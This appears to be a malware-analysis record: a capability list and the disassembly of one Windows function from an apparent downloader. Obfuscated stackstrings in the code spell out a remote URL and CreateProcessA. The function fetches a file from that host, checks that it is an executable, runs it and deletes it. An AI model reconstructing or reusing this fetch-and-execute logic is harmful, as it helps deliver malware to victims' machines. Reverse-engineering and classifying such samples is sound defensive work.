Function at 0x401878
Capabilities:
Contain obfuscated stackstrings
Delete file
Read file on windows
Terminate process
Write file on windows

Disassembly:
inc eax
add byte [eax], al
add byte [eax], al
add bh, bh
invalid
mov eax, 0x1058
call fcn.00408960
push ebx
push esi
push edi
jmp 0x4017f8
add byte [ecx - 0x17af4e8e], bl
add al, 0
add byte [eax], al
push eax
call fcn.00401802
je 0x401866
jns 0x4017ba
pop eax
pop eax
mov dword [ebp - 4], 0
jmp 0x401818
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
inc ebp
cld
cmp dword [ebp - 4], 0x924
jge 0x401840
jmp 0x401832
jb 0x4017e3
push eax
call 0x40183c
je 0x4018a0
jns 0x4017f4
pop eax
pop eax
jmp 0x40180d
cmp eax, eax
je 0x401850
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x401858
in al, 0x1d
je 0x401860
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add cl, ch
add eax, dword [eax]
add byte [eax], al
cdq
jb 0x40181f
jne 0xd9a98c
jmp 0x40186e
push eax
call 0x401878
je 0x4018dc
jns 0x401830
pop eax
pop eax
mov byte [ebp - 0x58], 0x68
mov byte [ebp - 0x57], 0x74
mov byte [ebp - 0x56], 0x74
mov byte [ebp - 0x55], 0x70
mov byte [ebp - 0x54], 0x3a
mov byte [ebp - 0x53], 0x2f
mov byte [ebp - 0x52], 0x2f
mov byte [ebp - 0x51], 0x68
mov byte [ebp - 0x50], 0x6f
mov byte [ebp - 0x4f], 0x6c
mov cl, 0x6c
mov byte [ebp - 0x4e], 0x64
mov byte [ebp - 0x4d], 0x2e
mov byte [ebp - 0x4c], 0x77
mov byte [ebp - 0x4b], 0x67
mov byte [ebp - 0x4a], 0x32
mov byte [ebp - 0x49], 0x39
mov byte [ebp - 0x48], 0x33
mov byte [ebp - 0x47], 0x2e
mov byte [ebp - 0x46], 0x63
mov byte [ebp - 0x45], 0x6f
mov byte [ebp - 0x44], 0x6d
mov byte [ebp - 0x43], 0x2f
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x41], 0x69
mov byte [ebp - 0x40], 0x6e
mov byte [ebp - 0x3f], 0x31
mov byte [ebp - 0x3e], 0x2f
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x69
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x2e
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x78
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0
mov ecx, 0xb
xor eax, eax
lea edi, [ebp - 0x34]
rep stosd dword es:[edi], eax
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1000
lea ecx, [ebp - 0x1058]
push ecx
lea edx, [ebp - 0x58]
push edx
call fcn.004052f0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401995
shr byte [esi - 0x3a], 0x45
sal dword [ecx], 0xc6
inc ebp
ret 0xc62f
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x1058]
push ecx
call fcn.00405f20
add esp, 8
cmp eax, eax
je 0x401962
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x40196a
in al, 0x1d
je 0x401972
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
jne 0xd9aa9e
add byte [eax + 0x10], ch
sbb eax, dword [eax]
push 0x401b10
push 0x4014c0
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x1058]
push eax
call fcn.00401d80
add esp, 0x10
jmp 0x4019a2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x401090], 0
jne 0x4019ad
jmp 0x401997
jmp 0x4019b5
push eax
call 0x4019bf
je 0x401a23
jns 0x401977
pop eax
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
dec ebp
or al, 0x51
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x401aec
mov edx, dword [ebp + 0x10]
add edx, 0x1000
push edx
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 8], eax
cmp eax, eax
je 0x401a5e
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x401a66
in al, 0x1d
je 0x401a6e
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x74afefbb], cl
dec ebp
clc
jne 0xd9ab9a
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004052f0
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
je 0x401acc
cmp eax, eax
je 0x401a9e
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x401aa6
in al, 0x1d
je 0x401aae
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xd9abda
push 0
lea eax, [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401ad4
push eax
call 0x401ade
je 0x401b42
jns 0x401a96
pop eax
pop eax
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_free
add esp, 4
jmp 0x401af4
push eax
call 0x401afe
je 0x401b62
jns 0x401ab6
pop eax
pop eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
fcmovb st(0), st(7)
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add bh, al
inc ebp
mov al, byte [0x44]
mov dword [ebp - 4], 0
add bh, al
inc ebp
cld
add byte [eax], al
add byte [eax], al
cmp eax, eax
je 0x401b7a
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x401b82
in al, 0x1d
je 0x401b8a
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xd9acb6
push 0
push 0x80
push 4
push 0
push 1
push 1
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
cmp eax, eax
je 0x401bbc
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x401bc4
in al, 0x1d
je 0x401bcc
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [edx], ch
jne 0xd9acf8
push 0
lea edx, [ebp - 0x1c]
push edx
push 2
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, eax
je 0x401bf8
add dh, cl
into
mov esp, 0xc7daeea7
wait
adc cl, byte [edi]
test byte [edx], al
add byte [eax], al
add ah, ah
sbb eax, 0x2840f
add byte [eax], al
je 0x401c00
in al, 0x1d
je 0x401c08
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0xad17ab], cl
adc eax, sym.imp.KERNEL32.dll_CloseHandle
jne 0xd9ad34
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0x5a4d
jne 0x401d3f
jmp 0x401c2d
push eax
call 0x401c37
je 0x401c9b
jns 0x401bef
pop eax
pop eax
mov byte [ebp - 0x70], 0x4b
mov byte [ebp - 0x6f], 0x65
mov byte [ebp - 0x6e], 0x72
mov byte [ebp - 0x6d], 0x4e
mov byte [ebp - 0x6c], 0x65
mov byte [ebp - 0x6b], 0x6c
mov byte [ebp - 0x6a], 0x33
mov byte [ebp - 0x69], 0x32
mov byte [ebp - 0x68], 0x2e
mov byte [ebp - 0x67], 0x64
mov byte [ebp - 0x66], 0x6c
mov byte [ebp - 0x65], 0x6c
mov byte [ebp - 0x64], 0
xor eax, eax
mov word [ebp - 0x63], ax
mov byte [ebp - 0x61], al
mov byte [ebp - 0x90], 0x43
mov byte [ebp - 0x8f], 0x72
mov byte [ebp - 0x8e], 0x65
mov byte [ebp - 0x8d], 0x61
mov byte [ebp - 0x8c], 0x74
mov byte [ebp - 0x8b], 0x65
mov byte [ebp - 0x8a], 0x50
mov byte [ebp - 0x89], 0x72
mov byte [ebp - 0x88], 0x6f
mov byte [ebp - 0x87], 0x63
mov byte [ebp - 0x86], 0x65
mov byte [ebp - 0x85], 0x73
mov byte [ebp - 0x84], 0x73
mov byte [ebp - 0x83], 0x41
mov byte [ebp - 0x82], 0
xor ecx, ecx
mov dword [ebp - 0x81], ecx
mov dword [ebp - 0x7d], ecx
mov dword [ebp - 0x79], ecx
mov dword [ebp - 0x75], ecx
mov byte [ebp - 0x71], cl
jmp 0x401cfb
jne 0x401c9c
invalid
invalid
test dword [edx - 1], edi
invalid
push eax
call 0x401d05
je 0x401d69
jns 0x401cbd
pop eax
pop eax
call fcn.00406410
inc edi
add byte [eax], al
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call main
call eax
xchg ebp, eax
jo 0x401d29
invalid
invalid
jmp 0x401d47
push eax
call 0x401d51
je 0x401db5
jns 0x401d09
pop eax
pop eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401d65
push eax
call 0x401d6f
add byte [eax], al
je 0x401dd3
jns 0x401d27
pop eax
pop eax
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x402099
sbb eax, 0x2840f
add byte [eax], al
pop ds
sbb al, 0xf
test dword [esi], esp
xchg ecx, eax
cdq
add byte [ebx - 0x7a76f7bb], cl
sar dh, 1
invalid
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret